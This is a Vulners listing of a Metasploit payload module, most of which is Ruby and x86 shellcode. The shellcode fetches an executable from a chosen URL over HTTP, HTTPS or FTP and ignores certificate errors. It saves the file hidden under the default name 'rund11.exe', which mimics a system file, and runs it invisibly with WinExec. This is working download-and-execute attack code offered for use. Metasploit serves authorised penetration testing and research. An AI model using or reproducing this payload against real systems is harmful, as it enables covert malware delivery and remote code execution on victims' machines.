Lucene search
K

Windows Executable Download (http,https,ftp) and Execute

🗓️ 01 Oct 2006 16:50:13Reported by corelanc0d3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 51 Views

Download and execute Windows executable from HTTP/HTTPS/FT

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule

  CachedSize = 429

  include Msf::Payload::Windows
  include Msf::Payload::Single
  include Msf::Payload::Windows::BlockApi
  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Windows Executable Download (http,https,ftp) and Execute',
      'Description'   => 'Download an EXE from an HTTP(S)/FTP URL and execute it',
      'Author'        =>
        [
          'corelanc0d3r <peter.ve[at]corelan.be>'
        ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86
    ))

    # Register command execution options
    register_options(
      [
        OptString.new('URL', [true, "The pre-encoded URL to the executable" ,"https://localhost:443/evil.exe"]),
        OptString.new('EXE', [ true, "Filename to save & run executable on target system", "rund11.exe" ])
      ])
  end

  #
  # Construct the payload
  #
  def generate(_opts = {})

    target_uri = datastore['URL'] || ""
    filename = datastore['EXE'] || ""
    proto = "https"
    dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
      #;0x80000000 |        ; INTERNET_FLAG_RELOAD
      #;0x04000000 |        ; INTERNET_NO_CACHE_WRITE
      #;0x00800000 |        ; INTERNET_FLAG_SECURE
      #;0x00200000 |        ; INTERNET_FLAG_NO_AUTO_REDIRECT
      #;0x00001000 |        ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
      #;0x00002000 |        ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
      #;0x00000200          ; INTERNET_FLAG_NO_UI"

    exitfuncs = {
        "THREAD"  => Rex::Text.block_api_hash("kernel32.dll", "ExitThread").to_i(16), # ExitThread
        "PROCESS" => Rex::Text.block_api_hash("kernel32.dll", "ExitProcess").to_i(16), # ExitProcess
        "SEH"       => 0x00000000,	#we don't care
        "NONE"      => 0x00000000	#we don't care
        }

    protoflags = {
        "http"	=> 0x3,
        "https"	=> 0x3,
        "ftp"	=> 0x1
        }

    exitfunc = datastore['EXITFUNC'].upcase

    if exitfuncs[exitfunc]
      exitasm = case exitfunc
        when "SEH" then "xor eax,eax\ncall eax"
        when "NONE" then "jmp end"	# don't want to load user32.dll for GetLastError
        else "push 0x0\npush 0x%x\ncall ebp" % exitfuncs[exitfunc]
      end
    end

    # parse URL and break it down in
    # - remote host
    # - port
    # - /path/to/file

    server_uri  = ''
    server_host = ''
    port_nr     = 443	# default

    if target_uri.length > 0

      # get desired protocol
      if target_uri =~ /^http:/
        proto = "http"
        port_nr = 80
        dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
          #;0x00400000 |        ; INTERNET_FLAG_KEEP_CONNECTION
      end

      if target_uri =~ /^ftp:/
        proto = "ftp"
        port_nr = 21
        dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
      end

      # sanitize the input
      target_uri = target_uri.gsub('http://','')	#don't care about protocol
      target_uri = target_uri.gsub('https://','')	#don't care about protocol
      target_uri = target_uri.gsub('ftp://','')	#don't care about protocol

      server_info = target_uri.split("/")

      # did user specify a port ?
      server_parts = server_info[0].split(":")
      if server_parts.length > 1
        port_nr = Integer(server_parts[1])
      end

      # actual target host
      server_host = server_parts[0]

      # get /path/to/remote/exe

      for i in (1..server_info.length-1)
        server_uri << "/"
        server_uri << server_info[i]
      end

    end

    # get protocol specific stuff

    #create actual payload
    payload_data = %Q^
      cld
      call start
      #{asm_block_api}
    start:
      pop ebp                ; get ptr to block_api routine
    ; based on HDM's block_reverse_https.asm
    load_wininet:
      push 0x0074656e        ; Push the bytes 'wininet',0 onto the stack.
      push 0x696e6977        ; ...
      mov esi, esp           ; Save a pointer to wininet
      push esp               ; Push a pointer to the "wininet" string on the stack.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}         ; hash( "kernel32.dll", "LoadLibraryA" )
      call ebp               ; LoadLibraryA( "wininet" )

    internetopen:
      xor edi,edi
      push edi               ; DWORD dwFlags
      push edi               ; LPCTSTR lpszProxyBypass
      push edi               ; LPCTSTR lpszProxyName
      push edi               ; DWORD dwAccessType (PRECONFIG = 0)
      push esi               ; LPCTSTR lpszAgent ("wininet\x00")
      push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}       ; hash( "wininet.dll", "InternetOpenA" )
      call ebp

      jmp.i8 dbl_get_server_host

    internetconnect:
      pop ebx                ; Save the hostname pointer
      xor ecx, ecx
      push ecx               ; DWORD_PTR dwContext (NULL)
      push ecx               ; dwFlags
      push #{protoflags[proto]}	; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP)
      push ecx               ; password
      push ecx               ; username
      push #{port_nr}        ; PORT
      push ebx               ; HOSTNAME
      push eax               ; HINTERNET hInternet
      push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}    ; hash( "wininet.dll", "InternetConnectA" )
      call ebp

      jmp.i8 get_server_uri

    httpopenrequest:
      pop ecx
      xor edx, edx            ; NULL
      push edx                ; dwContext (NULL)
      #{dwflags_asm}          ; dwFlags
      push edx                ; accept types
      push edx                ; referrer
      push edx                ; version
      push ecx                ; url
      push edx                ; method
      push eax                ; hConnection
      push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}    ; hash( "wininet.dll", "HttpOpenRequestA" )
      call ebp
      mov esi, eax            ; hHttpRequest

    set_retry:
      push 0x10
      pop ebx

    ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
    set_security_options:
      push 0x00003380
      mov eax, esp
      push 4                 ; sizeof(dwFlags)
      push eax               ; &dwFlags
      push 31                ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
      push esi               ; hRequest
      push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}   ; hash( "wininet.dll", "InternetSetOptionA" )
      call ebp

    httpsendrequest:
      xor edi, edi
      push edi               ; optional length
      push edi               ; optional
      push edi               ; dwHeadersLength
      push edi               ; headers
      push esi               ; hHttpRequest
      push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}    ; hash( "wininet.dll", "HttpSendRequestA" )
      call ebp
      test eax,eax
      jnz create_file

    try_it_again:
      dec ebx
      jz thats_all_folks	; failure -> exit
      jmp.i8 set_security_options

    dbl_get_server_host:
      jmp get_server_host

    get_server_uri:
      call httpopenrequest

    server_uri:
      db "#{server_uri}", 0x00

    create_file:
      jmp.i8 get_filename

    get_filename_return:
      xor eax,eax       ; zero eax
      pop edi           ; ptr to filename
      push eax          ; hTemplateFile
      push 2            ; dwFlagsAndAttributes (Hidden)
      push 2            ; dwCreationDisposition (CREATE_ALWAYS)
      push eax          ; lpSecurityAttributes
      push 2            ; dwShareMode
      push 2            ; dwDesiredAccess
      push edi          ; lpFileName
      push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}    ; kernel32.dll!CreateFileA
      call ebp

    download_prep:
      xchg eax, ebx     ; place the file handle in ebx
      xor eax,eax       ; zero eax
      mov ax,0x304      ; we'll download 0x300 bytes at a time
      sub esp,eax       ; reserve space on stack

    download_more:
      push esp          ; &bytesRead
      lea ecx,[esp+0x8] ; target buffer
      xor eax,eax
      mov ah,0x03       ; eax => 300
      push eax          ; read length
      push ecx          ; target buffer on stack
      push esi          ; hRequest
      push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}   ; hash( "wininet.dll", "InternetReadFile" )
      call ebp

      test eax,eax        ; download failed? (optional?)
      jz thats_all_folks  ; failure -> exit

      pop eax             ; how many bytes did we retrieve ?

      test eax,eax        ; optional?
      je close_and_run    ; continue until it returns 0

    write_to_file:
      push 0              ; lpOverLapped
      push esp            ; lpNumberOfBytesWritten
      push eax            ; nNumberOfBytesToWrite
      lea eax,[esp+0xc]   ; get pointer to buffer
      push eax            ; lpBuffer
      push ebx            ; hFile
      push #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')}        ; kernel32.dll!WriteFile
      call ebp
      sub esp,4           ; set stack back to where it was
      jmp.i8 download_more

    close_and_run:
      push ebx
      push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}       ; kernel32.dll!CloseHandle
      call ebp

    execute_file:
      push 0             ; don't show
      push edi           ; lpCmdLine
      push #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')}     ; kernel32.dll!WinExec
      call ebp

    thats_all_folks:
      #{exitasm}

    get_filename:
      call get_filename_return
      db "#{filename}",0x00

    get_server_host:
      call internetconnect

    server_host:
      db "#{server_host}", 0x00
    end:
^
    self.assembly = payload_data
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Nov 2024 17:07Current
7.6High risk
Vulners AI Score7.6
51